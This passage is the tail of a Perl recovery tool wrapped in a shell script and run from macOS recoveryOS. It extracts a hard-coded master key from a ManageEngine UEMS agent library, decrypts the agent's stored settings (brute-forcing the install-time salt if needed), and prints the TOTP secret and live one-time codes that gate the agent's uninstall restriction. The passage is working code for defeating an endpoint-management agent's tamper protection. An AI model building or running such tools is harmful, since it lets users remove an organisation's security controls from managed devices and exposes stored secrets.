10800s and 30s periods --installtime TS override INSTALLTIME (unix seconds) --masterkey KEY override the hard coded master key --dylib PATH extract the master key table from this libldcutils.dylib --json print machine readable JSON only --quiet less chatter --selftest run built-in crypto self test and exit --help this text --version print version NOTES * pure perl implementation: recoveryOS has no python3 and no openssl, but it does ship /usr/bin/perl (5.34) - this script needs nothing else. * reads only: data/dcagentsettings.plist, data/serverinfo.plist, bin/dylibs/libldcutils.dylib (optional). It never modifies the target volume. Temporary engine files use /tmp. * run only on your own machine / your own agent installation. END_USAGE } sub parse_args { my %o = ( scan_roots => [], quiet => 0, json => 0, deep => 0, list => 0, yes => 0, ); my @argv = @_; my $take = sub { my ($name) = @_; if (!@argv || $argv[0] =~ /\A-/) { $o{argerror} = "$name requires a value"; return undef; } my $v = shift @argv; if ($name eq '--scan-root' || $name eq '--dir') { $v =~ s{/+\z}{}; $v = '/' if $v eq ''; # keep "/" as a valid root (N1 fix) } return $v; }; while (@argv) { my $a = shift @argv; if ($a eq '--dir') { $o{dir} = $take->('--dir'); } elsif ($a eq '--scan-root') { push @{$o{scan_roots}}, $take->('--scan-root'); } elsif ($a eq '--deep') { $o{deep} = 1; } elsif ($a eq '--list') { $o{list} = 1; } elsif ($a eq '--time') { $o{time} = $take->('--time'); } elsif ($a eq '--check') { $o{check} = $take->('--check'); } elsif ($a eq '--installtime') { $o{installtime} = $take->('--installtime'); } elsif ($a eq '--masterkey') { $o{masterkey} = $take->('--masterkey'); } elsif ($a eq '--dylib') { $o{dylib} = $take->('--dylib'); } elsif ($a eq '--json') { $o{json} = 1; } elsif ($a eq '--quiet') { $o{quiet} = 1; } elsif ($a eq '--selftest') { $o{selftest} = 1; } elsif ($a eq '--help' || $a eq '-h') { $o{help} = 1; } elsif ($a eq '--version') { $o{version} = 1; } else { $o{unknown} = $a; } } return \%o; } # ---------------------------------------------------------------------------- # main # ---------------------------------------------------------------------------- sub main { my @argv = @_; my $opt = parse_args(@argv); if ($opt->{help}) { usage(\*STDOUT); return 0; } if ($opt->{version}) { print "$TOOL $VERSION\n"; return 0; } if ($opt->{selftest}) { return selftest(); } if ($opt->{argerror}) { print STDERR "[x] $opt->{argerror} (use --help)\n"; return 1; } if ($opt->{unknown}) { warn "unknown option: $opt->{unknown} (use --help)\n"; usage(\*STDERR); return 1; } if (defined $opt->{time} && $opt->{time} !~ /\A\d+\z/) { print STDERR "[x] --time expects unix seconds (got '$opt->{time}')\n"; return 1; } my $quiet = $opt->{quiet}; # ---- locate agent directory ------------------------------------------- my @agents; if (defined $opt->{dir}) { my $d = $opt->{dir}; if (looks_like_agent($d)) { @agents = ({ dir => $d, root => '' }); } else { print STDERR "[x] not a ManageEngine UEMS agent directory: $d\n"; return 1; } } else { print STDERR "[i] scanning mounted volumes for ManageEngine UEMS agent...\n" unless $quiet; @agents = discover_agents($opt->{scan_roots}, $opt->{deep}); } if (!@agents) { print STDERR <<"END_NONE"; [x] no ManageEngine UEMS agent installation found. hints: * APFS containers were checked; Data volumes may be locked or unmounted. * if the target disk is FileVault encrypted, unlock it first in Disk Utility (Recovery); the actual mountpoint will be detected on rerun * or point the tool directly at the directory: --dir "/Volumes//Library/ManageEngine/UEMS_Agent" * or add a scan root: --scan-root "/Volumes/" --deep END_NONE return 2; } if ($opt->{list}) { my $i = 0; for my $a (@agents) { $i++; print "$i) $a->{dir}\n"; } return 0; } # ---- select agent ------------------------------------------------------ my $chosen; if (@agents == 1) { $chosen = $agents[0]; } else { print STDERR "\nfound ", scalar(@agents), " agent installation(s):\n"; my $i = 0; for my $a (@agents) { $i++; my $si = read_plist_file("$a->{dir}/data/serverinfo.plist"); my $ver = $si && $si->{AGENTVERSION} ? $si->{AGENTVERSION} : '?'; my $cus = $si && $si->{CUSTOMERID} ? $si->{CUSTOMERID} : '?'; print STDERR sprintf(" %d) %-12s customer=%-6s %s\n", $i, $ver, $cus, $a->{dir}); } print STDERR "select agent [1-", scalar(@agents), "] (no default): "; my $answer = ''; if (open(my $tty, '<', '/dev/tty')) { $answer = <$tty>; close($tty); } $answer = '' unless defined $answer; chomp $answer; unless ($answer =~ /\A\d+\z/ && $answer >= 1 && $answer <= @agents) { print STDERR "[x] No valid selection; use --dir with the intended agent path.\n"; return 2; } $chosen = $agents[$answer - 1]; } my $dir = $chosen->{dir}; print STDERR "[i] agent dir: $dir\n" unless $quiet; # ---- read configuration ------------------------------------------------ my $settings = read_plist_file("$dir/data/dcagentsettings.plist") || {}; my $serverinfo = read_plist_file("$dir/data/serverinfo.plist") || {}; # ---- master key -------------------------------------------------------- my $masterkey = $opt->{masterkey}; my $mk_source = 'command line'; if (!defined $masterkey) { my $dylib = $opt->{dylib}; if (!defined $dylib) { for my $cand ("$dir/bin/dylibs/libldcutils.dylib", "$dir/bin/dylibs/libldcutils.103.dylib") { if (-f $cand) { $dylib = $cand; last; } } } if (defined $dylib && -f $dylib) { my $mk = masterkey_from_dylib($dylib); if (defined $mk) { $masterkey = $mk; $mk_source = "dylib:$dylib"; if ($mk ne $MASTERKEY_CONST) { print STDERR "[!] master key decoded from dylib differs from known value: $mk\n"; } } else { print STDERR "[!] could not decode master key from $dylib, using built-in constant\n"; } } if (!defined $masterkey) { $masterkey = $MASTERKEY_CONST; $mk_source = 'built-in constant (libldcutils.dylib 11.4.x)'; } } # ---- install time / salt ---------------------------------------------- my $installtime = $opt->{installtime}; $installtime = $serverinfo->{INSTALLTIME} if !defined $installtime && defined $serverinfo->{INSTALLTIME}; $installtime = undef if defined $installtime && $installtime !~ /\A\d+\z/; my $fields = {}; $fields = decrypt_agent_fields($settings, $masterkey, $installtime) if defined $installtime; my $ok = (exists $fields->{SECRET_KEY} || exists $fields->{OTP_DURATION}) ? 1 : 0; if (!$ok) { print STDERR "[!] " . (defined $installtime ? "decryption with INSTALLTIME=$installtime failed" : "no INSTALLTIME in data/serverinfo.plist") . "; trying install-time candidates from file timestamps...\n" unless $quiet; my @guesses = guess_installtimes($dir); my $tried = 0; my $total = scalar @guesses; for my $g (@guesses) { $tried++; print STDERR "\r trying $tried/$total ..." unless $quiet; my $f2 = decrypt_agent_fields($settings, $masterkey, $g); if (exists $f2->{SECRET_KEY} || exists $f2->{OTP_DURATION}) { $fields = $f2; $installtime = $g; print STDERR "\r" unless $quiet; print STDERR "[i] recovered INSTALLTIME=$installtime from timestamp guess\n" unless $quiet; last; } } print STDERR "\r" unless $quiet; $ok = (exists $fields->{SECRET_KEY} || exists $fields->{OTP_DURATION}) ? 1 : 0; if (!$ok) { print STDERR "[!] could not recover the salt from timestamps; " . "use --installtime (find the agent install time, e.g. in\n" . " /var/log/install.log or the earliest file mtime) and retry\n" unless $quiet; } } # ---- compute OTP ------------------------------------------------------- my $secret_pt = $fields->{SECRET_KEY} ? $fields->{SECRET_KEY}{plaintext} : undef; my $duration = $fields->{OTP_DURATION} ? $fields->{OTP_DURATION}{plaintext} : undef; my $digits = $fields->{OTP_LENGTH} ? $fields->{OTP_LENGTH}{plaintext} : 6; $digits = 6 unless defined $digits && $digits =~ /\A\d+\z/ && $digits > 0 && $digits <= 10; my $period_ui = (defined $duration && $duration =~ /\A\d+\z/) ? $duration * 1 : undef; $period_ui = $period_ui * 60 if defined $period_ui; $period_ui = 10800 unless defined $period_ui && $period_ui > 0; my $now = defined $opt->{time} && $opt->{time} =~ /\A\d+\z/ ? $opt->{time} : time(); my ($otp_ui, $otp_30, $otp_check_ui, $otp_check_30); if (defined $secret_pt) { $otp_ui = totp_code($secret_pt, $period_ui, $digits, $now); $otp_30 = totp_code($secret_pt, 30, $digits, $now); } if (defined $secret_pt && defined $opt->{check}) { $otp_check_ui = ($otp_ui eq $opt->{check}) ? 1 : 0; $otp_check_30 = ($otp_30 eq $opt->{check}) ? 1 : 0; } # ---- report ------------------------------------------------------------ my $salt = $fields->{__salt} ? $fields->{__salt}{plaintext} : undef; my $report = { tool => 'uems-recover', version => $VERSION, agent_dir => $dir, macos_volume => $chosen->{root}, agent_version => $serverinfo->{AGENTVERSION}, customer_id => $serverinfo->{CUSTOMERID}, server_address => (defined $serverinfo->{SERVERIPADDRESS} && defined $serverinfo->{SERVERPORT}) ? "$serverinfo->{SERVERIPADDRESS}:$serverinfo->{SERVERPORT}" : undef, domain => $serverinfo->{DOMAIN}, installtime => defined $installtime ? $installtime + 0 : undef, installtime_iso => defined $installtime ? iso_time($installtime) : undef, salt => $salt, master_key => $masterkey, master_key_source => $mk_source, digits => $digits + 0, period_ui => $period_ui + 0, period_installer => 30, time => $now + 0, time_iso => iso_time($now), secret_key => $secret_pt, secret_key_hex => defined $secret_pt ? bytes2hex($secret_pt) : undef, otp_ui => $otp_ui, otp_30 => $otp_30, fields => {}, }; for my $f (@ENC_FIELDS, @CLEAR_FIELDS) { next unless exists $fields->{$f}; $report->{fields}{$f} = { plaintext => $fields->{$f}{plaintext}, hex => $fields->{$f}{hex}, encrypted => $fields->{$f}{encrypted} ? 1 : 0, }; } if ($opt->{json}) { print gen_json($report), "\n"; return defined $secret_pt ? 0 : 3; } print "=============================================================\n"; print " UEMS agent TOTP recovery\n"; print "=============================================================\n"; print " agent dir : $dir\n"; print " macOS volume : $chosen->{root}\n" if $chosen->{root}; print " agent version : ", (defined $report->{agent_version} ? $report->{agent_version} : '?'), "\n"; print " customer id : ", (defined $report->{customer_id} ? $report->{customer_id} : '?'), "\n"; print " server : ", (defined $report->{server_address} ? $report->{server_address} : '?'), "\n"; print " master key : $masterkey [$mk_source]\n"; if (defined $installtime) { print " INSTALLTIME : $installtime (", iso_time($installtime), ")\n"; print " salt (gen_salt) : ", (defined $salt ? $salt : '?'), "\n"; } print "\n"; if (defined $secret_pt) { print " SECRET_KEY : $secret_pt (hex ", bytes2hex($secret_pt), ")\n"; print " ^ TOTP secret = these raw ASCII bytes (HMAC-SHA1, RFC6238)\n"; } else { print " SECRET_KEY : \n"; } print " OTP_DURATION : ", (defined $duration ? "$duration minutes -> period ${period_ui}s" : '?'), "\n"; print " OTP_LENGTH : $digits\n"; if ($fields->{AGENT_UNINSTALL_RESTRICT}) { print " UNINSTALL_RESTRICT: $fields->{AGENT_UNINSTALL_RESTRICT}{plaintext}\n"; } if ($fields->{UNINSTALL_ATTEMPTS}) { print " UNINSTALL_ATTEMPTS: $fields->{UNINSTALL_ATTEMPTS}{plaintext}", ($fields->{ATTEMPTS_REMAINING} ? " (remaining: $fields->{ATTEMPTS_REMAINING}{plaintext})" : ""), "\n"; } print "\n"; if (defined $secret_pt) { print " current time : $now (", iso_time($now), ")\n"; print " TOTP period ${period_ui}s : $otp_ui\n"; print " TOTP period 30s : $otp_30\n"; print " (recovery clock may be off; add --time if needed)\n"; } if (defined $opt->{check}) { print "\n check code '$opt->{check}':\n"; print " ${period_ui}s period: ", ($otp_check_ui ? 'MATCH' : 'no match'), "\n"; print " 30s period: ", ($otp_check_30 ? 'MATCH' : 'no match'), "\n"; } print "=============================================================\n"; return defined $secret_pt ? 0 : 3; } sub gen_json { my ($r) = @_; my @lines; push @lines, '{'; push @lines, ' "tool": ' . json_str($r->{tool}) . ','; push @lines, ' "version": ' . json_str($r->{version}) . ','; push @lines, ' "agent_dir": ' . json_str($r->{agent_dir}) . ','; push @lines, ' "macos_volume": ' . json_str($r->{macos_volume}) . ','; push @lines, ' "agent_version": ' . json_str($r->{agent_version}) . ','; push @lines, ' "customer_id": ' . json_str($r->{customer_id}) . ','; push @lines, ' "server_address": ' . json_str($r->{server_address}) . ','; push @lines, ' "domain": ' . json_str($r->{domain}) . ','; push @lines, ' "installtime": ' . (defined $r->{installtime} ? $r->{installtime} : 'null') . ','; push @lines, ' "installtime_iso": ' . json_str($r->{installtime_iso}) . ','; push @lines, ' "salt": ' . json_str($r->{salt}) . ','; push @lines, ' "master_key": ' . json_str($r->{master_key}) . ','; push @lines, ' "master_key_source": ' . json_str($r->{master_key_source}) . ','; push @lines, ' "digits": ' . $r->{digits} . ','; push @lines, ' "period_ui": ' . $r->{period_ui} . ','; push @lines, ' "period_installer": 30,'; push @lines, ' "time": ' . $r->{time} . ','; push @lines, ' "time_iso": ' . json_str($r->{time_iso}) . ','; push @lines, ' "secret_key": ' . json_str($r->{secret_key}) . ','; push @lines, ' "secret_key_hex": ' . json_str($r->{secret_key_hex}) . ','; push @lines, ' "otp_ui": ' . json_str($r->{otp_ui}) . ','; push @lines, ' "otp_30": ' . json_str($r->{otp_30}) . ','; push @lines, ' "fields": {'; my @f; for my $k (sort keys %{$r->{fields}}) { my $v = $r->{fields}{$k}; push @f, ' ' . json_str($k) . ': {"plaintext": ' . json_str($v->{plaintext}) . ', "hex": ' . json_str($v->{hex}) . ', "encrypted": ' . ($v->{encrypted} ? 'true' : 'false') . '}'; } push @lines, join(",\n", @f); push @lines, ' }'; push @lines, '}'; return join("\n", @lines); } my $rc = eval { main(@ARGV) }; if ($@) { print STDERR "[x] internal error: $@"; exit 1; } exit(defined $rc ? $rc : 0); UEMS_ENGINE_EOF "$PERL" "$TMP" "$@" RC=$? exit $RC